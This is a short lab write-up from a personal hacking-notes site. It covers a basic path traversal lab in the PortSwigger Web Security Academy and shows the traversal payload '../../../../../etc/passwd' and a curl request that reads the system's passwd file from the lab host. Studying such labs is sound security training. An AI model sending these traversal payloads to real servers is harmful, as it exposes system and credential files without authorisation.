> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/path-traversal/basic-path-traversal.md).
# Basic Path Traversal
Basic Path Traversal notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### File Path Traversal, Simple Case
This lab presents a vulnerability of path traversal when displaying product images. / To resolve this, simply access the contents of the **/etc/passwd** file.
The images are loaded using a **filename** parameter:
```bash
/image?filename=53.jpg
```
By replacing this filename with a sequence that allows you to go back to the tree, you can target system files:
```bash
/image?filename=../../../../../etc/passwd
```
Example with **curl**:
{% code overflow="wrap" %}
```bash
curl 'https://0ae100b3030baaee8586042900fd00e8.web-security-academy.net/image?filename=../../../../../etc/passwd'
```
{% endcode %}
This payload displays the contents of the passwd file, thereby validating the lab.
---
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